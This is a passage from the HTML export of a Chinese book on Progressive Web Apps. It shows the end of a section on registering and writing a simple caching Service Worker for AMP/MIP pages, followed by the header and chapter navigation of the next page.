punctuation\">&lt;/</span>a</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x5728;&#x4E0D;&#x652F;&#x6301; Service Worker &#x7684;&#x6D4F;&#x89C8;&#x5668;&#x73AF;&#x5883;&#x4E0B;&#xFF0C;&#x70B9;&#x51FB; link1&#xFF0C;link2 &#x94FE;&#x63A5;&#x540C;&#x6837;&#x53EF;&#x4EE5;&#x5B9E;&#x73B0;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x7684;&#x6548;&#x679C;&#xFF0C;link3 &#x7531;&#x4E8E;&#x4E0D;&#x540C;&#x6E90;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x6240;&#x4EE5;&#x7F13;&#x5B58;&#x4E0D;&#x4F1A;&#x751F;&#x6548;&#x3002;</p>\n<p>&#x5F53;&#x7136;&#xFF0C;AMP &#x540C;&#x6837;&#x4E5F;&#x63D0;&#x4F9B;&#x4E86; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>amp-install-serviceworker</span><span class=\"token punctuation\">&gt;</span></span></code> &#x7EC4;&#x4EF6;&#x53EF;&#x4EE5;&#x8FDB;&#x884C; Service Worker &#x6CE8;&#x518C;&#x7684;&#x5DE5;&#x4F5C;&#xFF0C;&#x7528;&#x6CD5;&#x548C; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>mip-install-serviceworker</span><span class=\"token punctuation\">&gt;</span></span></code> &#x4E00;&#x81F4;&#x3002;</p>\n<h3 id=\"&#x7F16;&#x5199;-service-worker\"><a name=\"&#x7F16;&#x5199;-service-worker\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7F16;&#x5199;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7F16;&#x5199;-service-worker\" class=\"plugin-anchor\" href=\"#&#x7F16;&#x5199;-service-worker\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7F16;&#x5199; Service Worker</h3>\n<p>&#x5728; MIP &#x9875;&#x9762;&#x4E2D;&#x987A;&#x5229;&#x5B8C;&#x6210; Service Worker &#x7684;&#x6CE8;&#x518C;&#x4E4B;&#x540E;&#xFF0C;&#x63A5;&#x4E0B;&#x6765;&#x7684;&#x5DE5;&#x4F5C;&#x5C31;&#x662F;&#x5C31;&#x662F;&#x7F16;&#x5199; Service Worker &#x6587;&#x4EF6;&#x7684;&#x903B;&#x8F91;&#x4E86;&#x3002;&#x6839;&#x636E;&#x7B2C;&#x56DB;&#x7AE0;&#x7684;&#x4ECB;&#x7ECD;&#xFF0C;&#x5728; Service Worker &#x4E2D;&#x76D1;&#x542C; <code>fetch</code> &#x4E8B;&#x4EF6;&#x53EF;&#x4EE5;&#x62E6;&#x622A;&#x5728; Service Worker &#x4F5C;&#x7528;&#x57DF;&#x8303;&#x56F4;&#x5185;&#x7684;&#x6240;&#x6709;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#xFF0C;&#x4E0B;&#x9762;&#x4EE3;&#x7801;&#x5C55;&#x793A;&#x4E86;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684; Service Worker &#x6587;&#x4EF6;&#x793A;&#x4F8B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> <span class=\"token constant\">CACHE_NAME</span> <span class=\"token operator\">=</span> <span class=\"token string\">&apos;my-mip-pwa-test&apos;</span>\n\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;fetch&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  event<span class=\"token punctuation\">.</span><span class=\"token function\">respondWith</span><span class=\"token punctuation\">(</span>\n    caches<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token constant\">CACHE_NAME</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">cache</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">return</span> cache<span class=\"token punctuation\">.</span><span class=\"token function\">match</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">response</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> <span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">res</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n          cache<span class=\"token punctuation\">.</span><span class=\"token function\">put</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">,</span> res<span class=\"token punctuation\">.</span><span class=\"token function\">clone</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n          <span class=\"token keyword\">return</span> res\n        <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n        <span class=\"token comment\">// &#x53EF;&#x4EE5;&#x5728;&#x8FD9;&#x91CC;&#x5BF9; response &#x505A;&#x8FDB;&#x4E00;&#x6B65;&#x7684;&#x5904;&#x7406;</span>\n        <span class=\"token keyword\">return</span> response <span class=\"token operator\">||</span> promise\n      <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x901A;&#x8FC7;&#x4EE5;&#x4E0A;&#x4EE3;&#x7801;&#x5C31;&#x53EF;&#x4EE5;&#x5B8C;&#x6210;&#x7B80;&#x6613;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x7684;&#x7F13;&#x5B58;&#x529F;&#x80FD;&#x4E86;&#xFF0C;&#x5B9E;&#x9645;&#x4E0A;&#x8FD8;&#x4E0D;&#x662F;&#x5F88;&#x5B8C;&#x5584;&#xFF0C;&#x6CA1;&#x6709;&#x505A;&#x7F13;&#x5B58;&#x7684;&#x66F4;&#x65B0;&#x53CA;&#x6E05;&#x7406;&#xFF0C;&#x4E5F;&#x6CA1;&#x6709;&#x9884;&#x52A0;&#x8F7D;&#x7684;&#x903B;&#x8F91;&#xFF0C;&#x5728;&#x7B2C;&#x56DB;&#x7AE0;&#x5DF2;&#x7ECF;&#x5BF9;&#x5982;&#x4F55;&#x5F00;&#x53D1;&#x4E00;&#x4E2A;&#x5B8C;&#x5584;&#x7684; Service Worker &#x6587;&#x4EF6;&#x6709;&#x4E86;&#x8BE6;&#x7EC6;&#x7684;&#x4ECB;&#x7ECD;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x5B8C;&#x5168;&#x53EF;&#x4EE5;&#x6839;&#x636E;&#x81EA;&#x5DF1;&#x7684;&#x9700;&#x6C42;&#x6765;&#x7F16;&#x5199; Service Worker &#x6587;&#x4EF6;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"2-pwa-and-amp-and-mip.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 9.2 PWA 与 AMP/MIP\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"4-preload-pwa.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 9.4 AMP/MIP 预加载 PWA\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"9.3 全站 AMP/MIP\",\"level\":\"1.10.3\",\"depth\":2,\"next\":{\"title\":\"9.4 AMP/MIP 预加载 PWA\",\"level\":\"1.10.4\",\"depth\":2,\"path\":\"chapter09/4-preload-pwa.md\",\"ref\":\"chapter09/4-preload-pwa.md\",\"articles\":[]},\"previous\":{\"title\":\"9.2 PWA 与 AMP/MIP\",\"level\":\"1.10.2\",\"depth\":2,\"path\":\"chapter09/2-pwa-and-amp-and-mip.md\",\"ref\":\"chapter09/2-pwa-and-amp-and-mip.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter09/3-whole-site-amp-and-mip.md\",\"mtime\":\"2019-06-19T10:37:42.417Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter09/4-preload-pwa.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>9.4 AMP/MIP 预加载 PWA · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"../appendix01.html\" />\n    \n    \n    <link rel=\"prev\" href=\"3-whole-site-amp-and-mip.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" 